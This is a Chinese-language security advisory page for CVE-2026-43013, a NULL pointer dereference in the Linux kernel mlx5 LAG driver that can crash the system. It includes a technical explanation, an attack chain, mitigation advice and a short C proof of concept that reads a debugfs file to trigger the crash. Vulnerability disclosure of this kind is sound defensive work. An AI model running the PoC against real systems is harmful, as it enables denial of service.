IPBUF安全漏洞报告
English
CVE-2026-43013 CVSS 5.5 中危

CVE-2026-43013 Linux Kernel mlx5 空指针引用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43013
漏洞类型
空指针引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoSLocalmlx5

漏洞概述

Linux内核中的mlx5 LAG驱动模块存在一个空指针引用漏洞。该漏洞发生在`__mlx5_lag_dev_add_mdev()`函数返回成功但实际存在错误的情况下,导致初始化流程在没有有效LAG上下文的情况下调用`mlx5_ldev_add_debugfs()`。由于该函数未检查`ldev`指针的有效性,盲目创建的debugfs接口在被访问时会触发NULL指针解引用,导致本地攻击者可能引起系统崩溃(拒绝服务)。

技术细节

漏洞位于`net/mlx5/lag.c`驱动代码中。正常情况下,添加mdev设备到LAG时应确保`ldev`结构体有效。然而,当`__mlx5_lag_dev_add_mdev()`遇到错误但返回0时,`ldev`可能为NULL。随后的`mlx5_ldev_add_debugfs()`调用会创建debugfs条目(如members文件),这些文件的回调函数依赖于`ldev`指针。当本地用户读取这些文件时,内核尝试访问`ldev->members`,由于`ldev`为NULL,触发内核异常,导致系统挂起或重启,影响系统可用性。

攻击链分析

STEP 1
步骤1
攻击者获得本地系统的低权限访问。
STEP 2
步骤2
系统处于特定状态,导致mlx5驱动初始化LAG时产生错误但未返回失败码。
STEP 3
步骤3
攻击者访问驱动创建的debugfs接口文件(如members文件)。
STEP 4
步骤4
内核处理文件读取请求时触发NULL指针解引用,导致系统崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> /* * PoC for CVE-2026-43013 * Trigger: Read the debugfs file created without valid ldev context. * Compile: gcc poc.c -o poc */ int main() { const char *debugfs_file = "/sys/kernel/debug/mlx5/0000:00:00.0/lag/members"; FILE *fp = fopen(debugfs_file, "r"); if (!fp) { perror("Failed to open debugfs file"); return 1; } char buf[256]; // Reading the file triggers the dereference in the kernel if (fgets(buf, sizeof(buf), fp)) { printf("Data read: %s\n", buf); } fclose(fp); return 0; }

影响范围

Linux Kernel (具体受影响版本请参考Git提交记录)

防御指南

临时缓解措施
建议立即更新Linux内核至修复版本。若无法立即更新,可通过禁用debugfs(在内核启动参数添加debugfs=0)或严格限制非特权用户对相关设备节点的访问权限来降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表